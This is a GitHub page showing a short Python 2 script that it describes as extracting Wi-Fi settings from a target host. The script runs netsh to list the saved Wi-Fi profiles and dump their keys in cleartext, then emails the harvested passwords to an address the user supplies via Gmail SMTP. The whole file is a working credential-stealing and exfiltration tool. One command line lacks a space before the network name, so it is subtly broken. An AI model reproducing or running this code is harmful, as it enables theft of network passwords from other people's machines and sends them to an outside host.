-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathexecute_command.py
47 lines (33 loc) · 1.62 KB
/
execute_command.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#! /usr/bin/python
"""A simple script used to extract wifi settings from a target host.
Uses Python 2.7.16"""
import subprocess
import optparse
import smtplib
import re
def get_arguments():
"""Get user supplied arguments from terminal."""
parser = optparse.OptionParser()
# arguments
parser.add_option('-e', '--email', dest='email', help='Email address to send data to')
parser.add_option('-p', '--password', dest='password', help='Email password')
(options, arguments) = parser.parse_args()
return options
def send_mail(email, password, message):
"""Sends email with """
server = smtplib.SMTP('smtp.gmail.com', 587) # gmail smtp server address and port
server.starttls()
server.login(email, password) # logs into email account
server.sendmail(email, email, message) # sends email from 'email' account to 'email' account
server.quit()
options = get_arguments()
command = 'netsh wlan show profile' # shows wifi profile
networks = subprocess.check_output(command, shell=True) # executes command
network_names_list = re.findall('(?:Profile\s*:\s)(.*)', networks) # regex to search for network SSIDs
result = ''
for network_name in network_names_list:
"""Extracts information for each network in list"""
command = 'netsh wlan show profile' + network_name + ' key=clear' # sets command
current_result = subprocess.check_output(command, shell=True) # executes command
result += current_result
send_mail(options.email, options.password, result)